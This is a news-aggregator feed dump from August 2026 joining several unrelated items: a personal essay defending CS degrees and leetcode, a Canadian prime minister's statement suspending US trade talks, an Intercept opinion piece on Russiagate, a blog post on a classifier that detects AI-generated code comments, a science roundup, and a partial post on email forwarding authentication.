If I had to categorize the “no need for education, no need for algorithms” crowd of our field, they’d fall into three categories: They either focus on the wrong things when developing software, they have a very shallow knowledge and lack of regard of how difficult good engineering is, or they’re utterly clueless and rely on good soft skills and politics.

Perhaps I’ve grown too resentful of dealing with people who take shortcuts where shortcuts are not supposed to be taken.

A computer science degree at a reputable university gives a student, at the very worst, an overview of how a computer works and what it can do. For the more motivated, it also offers an opportunity to have an appreciation of the depth and complexity of computer systems. I believe that it is genuinely difficult to obtain that level of understanding and appreciation by just working at a job, particularly in a post-AI world.

“Grinding leetcode” is supposed to be a pleasant past time, when not done for the purpose of securing a job. It nurtures a particular type of thinking that aids engineers to visualize problems in their heads, solve well-defined problems with code and get a decent hang of a programming language. Problem-solving for fun doesn’t make coding interviews less stressful… it’s a competition, after all. Competitions re supposed to push people to prepare well and bring the best out of themselves. This is inherently stressful. Besides, there are hardly any economically viable ways to filter thousands of candidates who are all very smart and want earn a high salary.

Neither the prestigious degree nor the good proficiency in algorithmic problem-solving guarantee a career success. They are factors that make statistics work in the favor of the candidate. In a rough market like today’s, they provide security. In the post-AI age, they will offer an immense competitive advantage because they provide a great opportunity for skill retention and development.

There are also the outliers, the edge-cases who went into it for the money and made it far, but I haven’t met anyone who’s not incredibly miserable and sour with their job, so they’re not worth my keystrokes.

For many of us who made it from nothing, there’s also the financial aspect of making it to the high echelons of software engineering. Before being able to afford a prestigious education and time to indulge in algorithmic problem-solving, I wrote software to survive. Furthermore O regard the education system in the larger part of the world to be outrageously perverted. Prestigious universities tend to rich kids, nepo-babies who’re becoming increasingly detached from the world and impudent in their dealings with society (shout out to SBF).

I cannot offer any reasonable, erudite solution to the problem of financing an education, or to offer solace. What worked for me was to be ruthless unforgiving and to fight for my money. Things did not start working out until I stopped being naive and hard-working and started cutting people off and taking what I deserve. To my surprise, this did not burn as many bridges as it awestruck people and instilled respect. It’s a rough world out there.

Stay in school, don’t be a tool, learn to problem-solve for the love of the game.

Canada suspends trade negotiations with USA and match tariffs dollar for dollar

Hacker News
www.pm.gc.ca
2026-08-22 06:26:09
Comments...
Original Article

“Over the past 18 months, Canada’s new government has focused on building our strength at home, diversifying our partnerships abroad, and striking a fair deal with the United States.

Our objectives in our trade negotiations have been to:

  • Preserve tariff-free access to the U.S. for the vast majority of Canadian business;
  • Provide greater stability to our trade relationship;
  • Significantly reduce U.S. tariffs on our key strategic industries, so that Canadian businesses in these sectors would have the best access of any in the world;
  • Protect our small and medium-sized businesses – the lifeblood of our economy – including by removing the imminent threat of new tariffs; and
  • Maintain our flexibility, independence, and sovereignty so we can keep building the Canada we want.

We have recognised from the beginning that America has changed, and that we will not return to our old relationship. Our government understood, before many, that America is altering all its trade relationships. Putting tariffs on its closest allies and charging for access to its vast market.

We have worked in that context. To strike a fair deal that would provide the best access to the U.S. market and greater certainty to Canadian businesses and workers. Throughout, our goal has been to secure the best deal for Canadians, never a deal at any price or on any deadline.

In recent weeks, we made important progress toward improving Canada’s position as having the best deal in the world with the U.S.

However, that progress has not been enough to meet our objectives for Canadians. As a result, this evening, I have decided to suspend trade negotiations with the U.S. and have directed Canada’s negotiators to return to Ottawa. They have worked hard, in good faith, to defend the interests of Canadians throughout these negotiations up until the very last minute. However, last-minute changes in the U.S. proposed terms were unfair, uneconomic, and called into question the reliability of any deal.

At midnight tonight, the U.S. intends to impose a 50% tariff on roughly $28 billion of Canadian goods. Canada will match those tariffs dollar for dollar to protect our workers and businesses.

In the coming days, the government will introduce additional measures to support Canadian workers and businesses, building on the nearly $25 billion in support provided over the past 18 months.

These actions complement Canada’s core economic strategy. From day one, we have been focused on building our strength at home and diversifying our partnerships abroad.

That strategy is working. We are advancing nearly $500 billion in major infrastructure projects. In parallel, we are unlocking new export markets for Canadian businesses. Our existing free trade deals already provide Canada with preferential access to 1.5 billion consumers, and we are on track to double that market access by the end of this year.

Canadian economic growth is accelerating, and we are on course to have the second-fastest growth in the G7 over the next two years. Our economy is creating jobs at four times the rate of the United States. Our exports to non-U.S. markets are on track to double over the next decade. Foreign direct investment in Canada is at its highest level in two decades, running at twice the rate of our nearest G7 competitor. Canada now ranks as the most attractive country in the world for infrastructure investment.

Canada has what the world wants. And we will not allow any nation to determine our future. We will set our own course to keep building Canada strong for all.”

RIP to the Russiagate Liberals

Intercept
theintercept.com
2026-08-22 06:21:00
With Alex Vindman and George Conway’s losses, Democratic voters are forcefully rejecting the notion that Russia is to blame for America’s ills. The post RIP to the Russiagate Liberals appeared first on The Intercept....
Original Article
OAKLAND PARK, FLORIDA - AUGUST 18:  Florida Democratic U.S. Senate candidate, retired Army Lt. Col. Alex Vindman, receives well-wishes from supporters while leaving a primary election-night watch party after conceding to his opponent, Florida State Rep. Angie Nixon at an election-night watch party at the American Legion Post 222 event hall , on August 18, 2026, in Oakland Park, Florida. Nixon faces incumbent Sen. Ashley Moody (R-FL), who won the Republican primary tonight as well, in the November 3 general election. (Photo by Joe Raedle/Getty Images)
Retired Army Lt. Col. Alex Vindman, a Florida Democratic U.S. Senate candidate, at a primary night watch party on Aug. 18, 2026, in Oakland Park, Fla. Photo: Joe Raedle/Getty Images

Eoin Higgins is the author of “Owned: How Tech Billionaires on the Right Bought the Loudest Voice on the Left.”

Alexander Vindman lost to Angie Nixon in the Florida Democratic senatorial primary on Tuesday, marking a long-overdue end to one of the worst liberal mass delusions of the Trump era: Russiagate.

Vindman’s loss offers a number of opportunities for schadenfreude, from the comeuppance for his wife’s sneering at Nixon’s clothes to the staggering spending advantage he had over his opponent, a Democratic Socialists of America member — but it’s the bell tolling for neocons cynically taking advantage of conspiracy theory-minded liberals that’s the most gratifying reason for the loss.

This cohort faltered at the ballot box in 2026. Vindman follows heroes of the Trump 1.0 #Resistance like George Conway and Dan Goldman , both of whom found that resting on the laurels of opposing Trump six years ago wasn’t enough to push back against more dynamic opponents who offered actual policy plans.

Over the past decade, these conservative Democrats and “Never Trump” Republicans relied on liberal fears of Russian election interference and shadowy Moscow kompromat over the president to leverage influence in the party.

Many Democrats and their allies in the media bought into the idea that only a nefarious, Kremlin-driven plot could have led to America electing Trump.

From the beginning, Russiagate was used by a shellshocked liberal establishment to explain away Trump’s victory in a way that didn’t implicate the Democrats. Rather than address what it was about Hillary Clinton’s political platform — and the preceding eight years of President Barack Obama — that opened the door to MAGA, many Democrats and their allies in the media fully bought into the idea that only a nefarious, Kremlin-driven plot could have led to America electing Trump.

This was an attractive proposal, and it found an enthusiastic, if niche, audience. Democratic voters responded well, notably to commentators at MSNBC like Rachel Maddow, who went all in on the conspiracy and pushed it far beyond what was plausible.

As MSNBC and, to a lesser extent, CNN, found ratings success with the largely fabricated scandal, the infection spread across legacy media. The New York Times published Louise Mensch , a serial fabulist whose Twitter feed was a laundry list of delusions, in the opinion section. The Washington Post reported an implausible story that Russians were targeting the Vermont energy grid.

Grifters of all stripes quickly adapted their cons to the new game. In one notorious example, a Twitter user named Eric Garland skyrocketed himself to online notoriety by spinning up a “game theory” Russiagate fantasy where a secret, Avengers-esque team of liberal politicians were using the scandal to beat Vladimir Putin at realpolitik (how, exactly, this was going to happen went unaddressed). The thread was praised as “ great writing ” by notable media figures; today, Garland is a gutter-level antisemite aligned with far-right gadfly Chuck Johnson whose conspiracy theories are utterly incomprehensible.

In one of the more amusing, and egregious, examples of the hysteria, pundit Jonathan Chait improbably claimed that Trump may have been an agent of the KGB going back to the early 1980s — a preposterous story that nevertheless netted him primetime appearances on cable news.

In Washington, Russiagate mania supplanted actual policy priorities for Democrats both before and after they retook the House in the 2018 midterms. As I wrote nearly nine years ago at Fairness and Accuracy In Reporting, establishment media allies like Maddow were so narrowly focused on Russiagate in the early Trump years that they often ignored or papered over instances of corruption and corporate power in lieu of fomenting the conspiracy theory.

Establishment media was so narrowly focused on Russiagate in the early Trump years that they often ignored or papered over instances of corruption and corporate power in lieu of fomenting the conspiracy theory.

Whether this effort was intentional or not is somewhat irrelevant; the net result was the stifling of the Bernie Sanders wing taking over the party and a reassertion of the neoliberal, corporate-friendly establishment’s control of the levers of power.

Unsurprisingly, many of the same figures are endorsing that approach again as progressives are winning primaries by focusing on affordability and ambitious policy proposals rather than simply “Trump bad.” In an essay for The Atlantic on Thursday, Chait argued Vindman’s loss didn’t detract from the correctness of resistance liberalism and its singular focus on Trump — and instructed Democrats not to try to offer voters any actionable policy: “Rather than promise to change everything about American politics, focus relentlessly on Trump’s unfitness.”

That’s a message that’s soothing to the elite liberal class Chait writes for, but it’s unlikely to find much purchase among voters, Democratic or otherwise. The public is burnt out on one-trick-pony versions of escaping the Trump era. And Trump’s second administration has exposed the rotten house of cards keeping the U.S. state afloat, making systemic change an imperative.

For Democrats, that has meant turning to candidates like Nixon, as well as Michigan’s Abdul El-Sayed and Maine’s Troy Jackson . It leaves the neocons who used Russiagate as a way to pivot and rebrand their way out of a party singularly devoted to Trump and into the welcoming arms of the Democratic establishment in a predicament. They’re realizing, with rising panic, that they’re not going to be able to dictate the party’s future as Democrats shift away from Israel and express their support for Palestine and a robust welfare state.

The public is burnt out on one-trick-pony versions of escaping the Trump era.

Some of the Russiagaters are already pivoting back to the right, like Michael Cohen, the former Trump lawyer who became the toast of liberal media after deciding to oppose the president in a self-serving effort when facing prison time. On Thursday, Cohen had his former client on the radio Thursday for a friendly chat .

Others, like The Bulwark’s Bill Kristol, are bullish on liberalism (although, as anyone who remembers the Iraq War knows, they still can’t be trusted an inch). Count Vindman, for now, in the latter camp; however, despite his disagreements with Nixon on Palestine and domestic politics, he endorsed her and promised to support her in November.

If this is truly the end of Russiagate’s stranglehold on U.S. politics — and we should all hope that’s the case — then its beneficiaries had a good run. Grifters and partisans were able to use the conspiracy theory to push their agendas and further their careers. Neocons secured a foothold in the liberal establishment which will be difficult, though not impossible, to excise. And the Democratic leadership was able to put off actually offering voters tangible policy that would improve their lives for a decade by focusing on delusional fantasies — a strategy that’s now coming back to bite them at the ballot box.

But for the rest of us, Russiagate was a black hole of political inertia at a time when the country needed strong moral leadership and new ideas. Let’s bury it for good by moving past the conspiracies toward more progressive policy prospects and to political change that does more than focus on Trump.

Robot comment classifier

Lobsters
entropicthoughts.com
2026-08-22 06:18:39
(I used both AI and vibecoding tags because the article describes training a logistic regression/SVM on LLM output. I thought there was a statistics tag that would have been appropriate but apparently not!) Comments...
Original Article

Here’s a comment I read in some code I was working on.

Tagger walks the entire collection to locate flagged clusters. Skip it altogether when the cached, dirty-tracked flag count says there are none (the usual case): nothing needs marking, so the walk is pure waste. When the count is stale (e.g. right after an edit) or non-zero, we fall through to the real lookup, so stale marks never show. Same eventually-consistent signal the “Flags” badge relies on.

One thing in this comment caught my mind: the small parenthetical that says “the usual case”. If that were true, it would be important information! However, this comment is generated by a robot, which has no sense of what counts as the usual case in this domain. But by generating that comment, the robot tricks every future reader (both human and robot) into believing in a property of the system that does not exist.

Since I knew, in this case, that the comment was generated by a robot and that the property it contained was hallucinated, I could fix the comment. But that’s not always so easy. Here’s another comment.

AcmeRate’s live currency conversion (in our per-line totals) are incompatible with connection pooling: on a reused connection the rate lookup runs against the previous session’s locale and returns figures in the wrong currency. So fall back to a fresh connection when the order has a foreign-currency line (and therefore conversion), and keep pooling otherwise so large domestic orders stay fast. sessionInit runs before the request config is assembled, so localeState is already populated when this is read.

This comment implies that it is important that we “keep pooling” so that “large domestic orders stay fast”. If a human wrote this comment, I would assume they had thought carefully about it, and determined that the optimisation must be kept in. But if it’s written by a robot, it sounds more like it defensibly kept something in the code that it has no business deciding about, because it doesn’t know what it’s doing. 1 The optimisation was useless. Only a little domain experience is needed to know that nearly every order contains a foreign currency, and large domestic orders are fast even without pooling.

How do detect differences in language

The most interesting bit is probably not the classifier itself, but what it looks at to distinguish robot-generated comments from human ones. It’s worth knowing that while this is trained on a wide range of human authors, I suspect the vast majority of robot-generated comments in the training data come from Anthropic models, so the features we see below don’t really distinguish robots-in-general from humans as much as they distinguish Anthropic llm models from humans. This is an important point we’ll get back to later.

I’m not versed in computational linguistics, so for this project I did some cursory reading and picked up three basic ways to decompose texts to try to extract style differences. All of the methods I tried work by cutting up the source text into smaller fragments, counting how often those fragments appear in the text, and then seeing whether that frequency is higher or lower for robot-generated texts compared to human-written ones.

Character frequency (62 % accuracy)

The most basic way to cut up text is into characters, and this does carry useful signal. A naïve guess, for example, would be that em dashes ( ) signify a comment was generated by a robot. That’s true! Other such typographical marks robots produce more of than humans are semicolons ( ; ), unicode arrows ( ), and ellipses ( ).

Character frequency analysis also tells us robots generate more syntactically complex comments than humans: they contain more full stops ( . ), commata ( , ), parentheses ( ( and ) ), and line breaks. Robots also surround literal strings with straight, ascii quotation marks ( " ) more than humans do, e.g. to reference text in user interfaces. In general, robots use a wider variety of symbols than humans, and produce text with a higher symbol density.

There are two groups of symbols that appear more often in human text:

  • Colons ( : ) as separators introducing the next part, as I did in the line leading up to this list.
  • Symbols that come from code or parts of code included in comments, e.g. dollar signs ( $ ), less-than and greater-than signs ( < and > ), backticks ( ` ), equals signs ( = ), exclamation marks ( ! ), square brackets ( [ and ] ).

Robots are less likely to include code in comments than humans are, and also less likely to write TODO comments.

Common word frequency (64 % frequency)

The next level up in language abstraction might be words. However, at that point we have to be careful. Due to the way language works (with documents often containing unique words), there’s a risk a word-frequency based classifier learns differences in subject matter rather than style. To avoid subject matter leaking in, we’ll count the frequencies of common, non-subject words only. These are sometimes known as function words .

You know what? Let’s turn it into a fun game!

The list below contains eight groups of words. Some of the groups are more common in human-written comments, and some of the groups are more common in robot-generated comments. For each row, mark it as either “human” or “robot” and see how many you get right!

  1. your of my other over since enough they be few towards
  2. which how this have about down could out much should
  3. must everything before away among the thousand past until their
  4. while every both one each none within per nothing once outside
  5. so its whether against through back would across up first several
  6. therefore yet when off still inside around after from at without
  7. more though his can although but except such second either
  8. we you who I will because some there these why along our

Done? Then you can check your answers. The first and last two groups (1–2 and 7–8) contain words often used in human-written comments. The middle four groups (3–6) contain words often used in robot-generated comments.

What we find is that robots generate comments that contain more prepositions and directions (through, up, among, within, around, after, at, etc.), whereas humans write comments with more pronouns, qualifications, and story-weaving words (we, you, because, although, except, should, either, some, etc.)

Part-of-speech frequencies (54 %)

The next step up in abstraction from words might be part-of-speech ( pos ) tags. A pos tagger replaces words with their grammatical category, which can uncover sentence structures at a higher level than what’s visible through words alone.

I have to admit I’m not very skilled with grammatical categories, so I can’t comment intelligently on this, but some markers of human text include

  • personal pronouns (“we”, “us”)
  • existentials (“there”, “these”, when they point to something)
  • modals (“should”, “can”)
  • questioning pronouns (“who”, “what”)
  • symbols (abbreviations like “geo” and typographical symbols like the at sign)
  • superlatives (“latest”, “most”)

In contrast, robot generated comments contain more

  • interjections (“so”, “e.g.”, “yes”)
  • 3rd person singular present verbs (“affects”, “is”, “has”)
  • past participle verbs (“created”, “copied”, “associated”)
  • predeterminers (“all”, “half”, “less than”)
  • particles (“up”, “back”, “over”, when they modify the words that come before, as in “start over”)

This hints that maybe the apparent high number of prepositions and directions in robot-generated comments are actually serving the function of particles, rather than prepositions and directions.

That said, this is the weakest discriminator so far, at only 54 % accuracy – barely better than chance.

Character bigrams (66 %)

Instead of looking at the frequencies of single characters, we can look at the frequencies of combinations of two characters next to each other. This isn’t at a higher level of abstraction, but it does tell us more about how robots and humans differ in how they shape their words and how they use punctuation.

The major discovery from this lens is that robots much more frequently end their comments with a full stop. I have advocated for humans to do so for a long time 3 In part because it lets a reader know if a comment is accidentally truncated, but also because it forces better sentence construction on the author of the comment, which usually improves the quality of the comment. but they haven’t caught up, so comments ending in full stops are evidence that a robot generated the comment.

Robots also have some funny quirks around word choices that start to appear at this level of abstraction. These characters are more common in the beginnings and endings of words generated by robots than written by humans:

  • Words that begin with “re-” (such as “report”, “recover”, “relocate”).
  • Words that begin with “co-” (such as “coverage”, “config”, “copies”).
  • Words that begin with “st-” (such as “store”, “stub”, “start”).
  • Words that end with “-er” (such as “container”, “user”, “writer”).
  • Words that end with “-al” (such as “terminal”, “individual”, “global”).
  • Maybe also words that end with “-k” and “-p”.

Some of this I’ve noticed myself (the affinity for “re-” words), and I’m willing to believe it could maybe be a weak signal, at best. I speculate that robots get rlhf d into using punchier words, and those prefixes and suffixes are punchier, maybe.

Character trigrams (68 %)

Once we get into character trigrams, we have to be careful again, because character trigrams are long enough that they start to capture subject differences through parts of words. To reduce that risk, I extracted a list of a few hundred of the most discriminative full words, and added a preprocessing step that removes those that seemed like they leaked subject matter before passing the comments through the trigram analysis.

Looking at the difference through the character trigram lens tells us very little new. This is where we learn that robots are trained to use the word “load” (through the “oad” trigram), as well as words that sound like “surround”, “counter”, and “account” (through the “oun” trigram.)

The reason a model based on character trigrams gets such a high accuracy despite not uncovering anything new is that it captures also the results from virtually all earlier layers. A trigram model gets many of the same signals we discovered through character frequencies, word frequencies, and bigram frequencies. Given a small enough vocabulary with a large enough training data set, it can even detect signals in pos tag frequencies.

Part-of-speech bigrams (63 %)

If we could learn from bigrams of characters, maybe we can look also at pos tag bigrams. That’s a good idea, because this is where sentence structures start to show through – and why pos tag bigrams give much higher accuracy than plain pos tag frequencies. 4 Although it should be noted that pos tagging is expensive, and still not meaningfully better than mere character frequencies.

Common pos bigrams are weighted toward personal pronouns and verbs:

  • Personal pronoun + verb or modal, such as “we are”, “they should”, “we may”, “we can”, “we want”, “we deprecate”, “us have”.
  • Determiner + verb, such as “this guarantees”, “this is”, “this gives”.
  • Personal verb + to, such as “want to”, “have to”, “move to”.
  • Existential there + verb, such as “there is”, “these are”.
  • Modal + verb, such as “should be”, “can cause”, “will add”.

Robot-generated comments are more abstract through adjectives, and more complex through conjunctions:

  • Determiner, possessive, or noun + adjective, such as “an individual X”, “a single X”, “the only X”, “its border-right X”, “its vertical X”, “its already-persisted X”.
  • Conjuction + determiner, such as “and a”, “and the”, “or both”.

Although we may recognise some of these patterns from personal experience, pos bigrams are not a very powerful model alone.

Part-of-speech trigrams (65  % accuracy)

We can take it one step further and look at consecutive triples of pos tags to capture even more sentence structures. Accuracy is not much higher than for pos bigrams, but we might recognise many of the human and robot constructions as such.

Here are some examples of human-style writing, which features a lot of verbs and personal pronouns:

  • “we may want”, “we can attach”, “they should upload”
  • “want to store”, “have to solve”, “want to remove”
  • “there is no”, “there is a”, “these are a”
  • “since we do”, “after we apply”, “so we check”
  • “we are looking”, “I’m guessing”, “we are determining”
  • “we check the”, “we do no”, “we have a”
  • “will trigger the”, “can have the”, “should cause no”
  • “sends data for”, “tells users that”, “causes errors in”

In contrast, robot-generated comments are adjective-laden:

  • “only difference is”, “first tab is”, “inner query aggregates”
  • “col’s border-right”, “highlight’s vertical”, “layer’s already-persisted”
  • “an individual checkbox”, “a single line”, “the only difference”
  • “the original uploaded”, “a functioning green”, “the correct quick”
  • “this flag is”, “the layout covers”, “this version does”
  • “surround option affects”, “reporting service prints”, “state parameter contains”
  • “thread reference autocomplete”, “used compression ratio”, “compared year title”

Looking at these examples, it would seem like robots use more big words than humans too, but I haven’t tested that.

All features at once (75 %)

If we jam all features at once into the model to try to get them to cancel out their redundancies, here is what remains, in order of most predictive isolated feature to least:

  1. Robots use em dashes more than humans.
  2. Robots use the connective interjection “so” more than humans.
  3. Robots end comments with full stops more than humans.
  4. Robots use semicolons more than humans.
  5. Robots use parentheses more than humans.
  6. Robots use the possessive form “its” more than humans.
  7. Robots use adjectives more than humans.
  8. Robots use the word “whether” more than humans.

After these top eight, other predictors start to get fuzzy and difficult to interpret in isolation. I suspect much of the power of the classifier does not come from individually strong signals (like the em dash and other typographic quirks), but from combinations of other signals that collectively paint a coherent picture. But those combinations might be different for different documents, and they won’t show up as individual predictors in a list like this.

It would be a cool experiment to have the classifier output the relevant feature combinations when the user hovers over parts of an input to get a better sense of how the classifier sees text, but I haven’t built that.

Steps to build a classifier

The first step to building any classifier is producing labeled data. In this case, that would be a large set of examples of both robot-generated comments and human-generated comments, where each example is annotated with what category it belongs to. I don’t have that. If you have that, I would love to get my hands on it! I settled for a proxy: the Internet gives us access to repositories of code that didn’t get any robot-generated comments a few years ago, but whose comments added recently are mainly generated by robots. We can pick an arbitrary date – let’s say October 2025 – and train our model to classify comments as written before or after that cutoff date. This will accidentally make it classify comments as written by humans or robots, too, although the overlap won’t be perfect.

Then we can write a script that goes through the git log and creates a large file with code comments and their date of addition. The script appends special start-of-comment and end-of-comment tokens to give the classifier an opportunity to discriminate on how comments end and begin. Whitespace is preserved, so any style choices surrounding whitespace make it into the model, too.

Another script reads a comment and produces feature vectors based on the lenses we’ve already discussed (character n-grams, pos tag n-grams, frequency of common words). These are smushed together and thrown into a huge logistic regression model. 5 I gather the typical choice is a support vector machine, but I like the interpretability of the log-odds that come out of the logistic regression.

The features are based on relative frequencies rather than absolute counts, because I didn’t want the length of the comment to be used as a signal (longer comments tend to be robot-generated, and also produce higher absolute counts of features). The drawback of this is that when the logistic regression model makes a prediction, all the values involved are tiny percentages, so the prediction ends up underconfident for long inputs, where we would think there’s a lot of evidence. Thus, we can add a separate step that scales up the confidence by an appropriate fraction of the square root of input length, the fraction being calibrated during training.

There are good reasons I don’t want to share any specific code or data from this iteration of the classifier. The big one is that repositories containing revealing personal details in them 6 E.g. one of the repositories that contain examples of human comments is the text adventure I’m developing for my children. It needs to be private because it involves a lot of actual incidents and information on our family and relatives. have been used as training data. I have some ideas on a future iteration that could be made open, which would also get two other flies pregnant 7 This is a translation of a Swedish mixed metaphor. Two birds with one stone in Swedish is “two flies in one swat”, but the Swedish for “one swat” (“en smäll”) sounds similar to a slang term for “pregnant” (“på smällen”). So you can say “two flies pregnant” and people will hear something’s off but won’t be able to tell if it’s an honest mistake or a joke. When I first met my wife, she loved making that joke. She has since outgrown it; I have not. : it would allow better labeling, and more model transfer.

Out-of-sample testing

This model was trained specifically on source code comments from a small number of repositories. I suspect the robot comments mainly come from Anthropic models. It might be interesting to learn how well such a model generalises.

One natural question would be, “Can it detect non-source-code-comment texts generated by Anthropic models?” and the answer is a tentative “yes”, although I haven’t spent much time evaluating that. There’s also “Can it detect text by Anthropic models instructed to use a different style?” and the answer is “I don’t know”, because I haven’t tested that at all.

The third question is “can it detect source code comments written by other llm models?” and the answer is a resounding “no”. The model, as trained, is very good at detecting the Anthropic house style, which means when fed source code comments generated by other llm models, it often 8 Eight times out of nine. classifies them as “not Anthropic”, which is the correct answer, but in my case is easy to misinterpret as “human-written”, which is the wrong answer.

This means there is significantly less transfer than I had at first thought! I had imagined most llm models have the same annoying style, but it seems they have detectably different annoying styles. It would be a fun project to expand the scope of the analysis to cover also other models, to see which things they have in common and which are different, but I’m not doing that now. Sorry!

Brand Hype Has Existed Since the Bronze Age, Scientists Discover

403 Media
www.404media.co
2026-08-22 06:00:35
The Qurayyah Painted Ware of Bronze Age Arabia had distinct visual identity, material consistency, technological continuity, and cultural reputation—all features of a commodified brand, scientists say....
Original Article

Welcome back to the Abstract! These are the studies this week that pottered around, ate well, shone bright, and went long in the tooth.

First, scientists identified a Bronze Age tradition of pottery as one of the earliest “brands,” revealing that humanity’s love for reliable commodities has deep roots. Then: a meal fit for a galaxy, a multi-camera view of the Sun, and a dizzying deep dive into a narwhal tusk.

As always, for more of my work, check out my book First Contact: The Story of Our Obsession with Aliens , or subscribe to my personal newsletter the BeX Files .

Brands are not brand new

Luciani, Marta et al. “Creating a brand. Genesis, transformation and diffusion of Qurayyah Painted Ware.” PLOS One.

Brands have completely taken over the modern world, from established corporate trademarks to the proliferation of online influencers. But the allure of brands is nothing new, according to a study about an ancient style of pottery called Qurayyah Painted Ware that was a progenitor of branding some 3,200 years ago.

This brand of pottery was popular in what is now Saudi Arabia during the Bronze Age. The tradition is distinguished by distinctive black-and-red geometric designs and stylized animal and human figures. These unique visual properties, along with a consistent production technique and quality, suggest that it was an early branded commodity that was made to be recognizable to the wider community.

“It is now understood that brands and proto-brands existed well before modern economies,” said researchers led by Marta Luciani of the University of Vienna. “In this contribution we analyze the process by which the commodity itself—decorated pottery vessels—was developed into a brand not by added symbols but on the virtue of its visual identity, material consistency, technological continuity, centralized production, export circulation, local imitation, intentional commercial scope, and cultural reputation.”

As such, the study “offers the first investigation of the dynamics leading to the genesis of a brand,” the team concluded.

Now, that’s a vintage brand. Who wants to do the sponsored endorsement on socials?

A low-energy snack for the Milky Way

Massari, Davide et al. “Evidence of a massive accretion event 1.8 billion years before the Gaia-Sausage-Enceladus merger.” Nature Astronomy.

Our home galaxy, the Milky Way, extends across 100,000 light years and contains hundreds of billions of stars. How did it get so swole? The answer is a healthy diet made up of smaller galaxies that the Milky Way has swallowed over time, adding to its starry heft.

Now, scientists have identified the digested remains of a galaxy that served as cosmic baby food for the Milky Way during its infancy some 12 billion years ago. By studying stars at the center of the galaxy using the Hubble Space Telescope, the team was able to reconstruct this ancient merger between the Milky Way and a dwarf galaxy that has been gifted with the amazing name “Low-energy-Kraken-Heracles” (LKH) after its constituent parts.

Concept art of Low-energy-Kraken-Heracles merging with the Milky Way 12 billion years ago. Image: NASA, ESA, Joseph Olmsted (STScI)

“Our conclusions are strongly supported by cosmological simulations, which typically predict between one and four substantial mergers in the history of a Milky Way-like galaxy,” said researchers led by Davide Massari of the Observatory of Bologna. “The identification of a third merger event in the inner Galaxy puts to rest earlier debates and, honouring previous works, we name the progenitor system Low-energy-Kraken-Heracles, or LKH for short.”

The study explains the origins of a group of metal-poor stars in the galactic center suggesting that they are leftovers from the LKH galaxy, which was about as massive as 500 million Suns. This merger occurred before the engulfment of another fantastically-named galaxy, Gaia-Sausage-Enceladus, which occurred about 10 billion years ago and significantly influenced the Milky Way’s evolution.

It goes to show that you are what you eat (in this case, yummy primordial galaxies).

The Sun goes ka-blowie

Luspay-Kuti, Adrienn et al. “The structure of a complex, asymmetric coronal mass ejection revealed by 17 spacecraft across the inner heliosphere.” Science Advances.

It’s time, once again, to pay tribute to the almighty Sun. Our star regularly barfs out enormous streams of solar plasma known as coronal mass ejections (CMEs), which radiate across the solar system and can wreak havoc on satellites and even ground infrastructure in some cases.

But while these solar blowouts are common, their underlying mechanics are still poorly understood. Now, scientists report unprecedented observations of a CME that occurred in December 2024,  which was captured by 17 spacecraft. In particular, measurements from NASA’s Europa Clipper, which is on its way to study Jupiter’s icy ocean moon, revealed “a structure far more complex than could be inferred from single-point observations,” according to the study.

Images of the December 2024 CME. Image: Luspay-Kuti, Adrienn et al.

“This study demonstrates the power of coordinated multipoint observations to uncover the true complexity of CME evolution in the inner heliosphere,” said researchers led by

Adrienn Luspay-Kuti of Johns Hopkins University Applied Physics Laboratory. “Such structure would not have been resolvable from Sun-Earth line observations alone. As human exploration extends toward Mars, such comprehensive heliospheric coverage will be critical for protecting spacecraft and crew.”

As if future crews to Mars don’t have enough to worry about, they’ll also have to take cover from projectile star vomit. At least the complex workings of CMEs are gradually becoming illuminated, though we may never fully understand these mercurial outbursts.

Taking a tusk to task

Rodriguez-Palomo, Adrian et al. “The narwhal tusk assembles its macroscopic helix from building blocks with opposing twists.” Nature Communications.

Speaking of structures that get more complicated under close inspection, may I interest you in a narwhal’s tusk? These elegant elongated ornaments have inspired many myths and legends due to their unicorn-like appearance, and they have also enraptured scientists for generations.

A team has now unraveled the mysterious layers of the narwhal tusk using advanced X-ray imaging techniques, which allowed them to resolve its structure on atomic, nano, and micro scales. The examination of the tusk confirmed that it consists of a left-facing helix, whereas another interior structure twists to the right. This mesh is sculpted with small deviations that mirror the iconic twisted spiral of the tusk.

This 3D image shows how the mineralized collagen fibrils – the microscopic building blocks that give the tooth its strength – are arranged. Image: Adrian Rodriguez Palomo / Nature Communications

“To finally solve the narwhal helical tusk puzzle, we combine multimodal imaging and multiscale orientation analysis, enabling accurate mapping of the tusk from the atomic to the macroscopic scale,” said researchers led by Adrian Rodriguez-Palomo of Aarhus University.

“The structural anisotropy and the ensuing anisotropic mechanics mean that the tusk can grow straight, unlike, e.g., the curved elephant tusk, providing the narwhal with its majestic, evocative defining characteristic,” the team concluded. “The formation of such a structure remains unknown, as we lack crucial information on narwhal tusk growth and development.”

Shout out to all the aspiring narwhal scientists out there—looks like there’s more work to do.

Thanks for reading! See you next week.

The Schrödinger Email

Lobsters
yashgarg.dev
2026-08-22 05:53:02
Tracing my way around a failed email redirection. Comments...
Original Article
Contents

How hard can emails be? Or so I thought. Boy, was I wrong. This post is basically me fucking around with email infrastructure and finding out the hard way.

The Problem

As a person with multiple credit cards (no judging!) — I like to track all of them in a single place using apps such as CRED or Fold . They often ask for email access to read the statements and I don’t want to give complete access over my emails.

Hence, I have a separate email where I forward emails via mail rules , but the problem is forwarding them removes the original sender information i.e. the bank here and I want to retain all this information.

In an ideal world, this would’ve just worked and I will not be writing this post :P

Attempt #1 - Outlook Rule

I created a rule to redirect any mail to my Gmail address for testing purposes. The rule itself works but there’s no status indication anywhere, so you cannot tell if it failed or not? Bad UX.

Gmail’s postmaster luckily sends a notification that the redirection failed stating: “Gmail has detected that this message is likely suspicious due to the very low reputation of the sending domain.” This is a hard SMTP rejection and this is where things get interesting.

The First Clue

The original test email was sent from Gmail to Outlook. When Outlook received it, the authentication results were perfectly fine:

SPF:   PASS
DKIM:  PASS
DMARC: PASS

Why was Gmail rejecting it when Outlook tried to send it ahead? The important detail is that email forwarding creates another SMTP delivery .

So, the flow essentially is:

The authentication that happened on the first hop doesn’t automatically mean the second hop will be accepted.

The Authentication Stuff

So what do SPF , DKIM and DMARC actually have to do with this? These are standard email authentication protocols designed to verify where an email came from and help prevent spoofing and abuse.

Sender Policy Framework (SPF)

SPF is basically:

Is this server allowed to send mail for this domain?

If example.com sends an email through its own mail servers, SPF can verify that those servers are authorized. But forwarding changes the server that delivers the message.

The original message might have come from Google’s infrastructure:

After Outlook redirects it:

Gmail is now receiving the message from Microsoft’s infrastructure rather than the original sender’s infrastructure. This can make SPF complicated.

DomainKeys Identified Mail (DKIM)

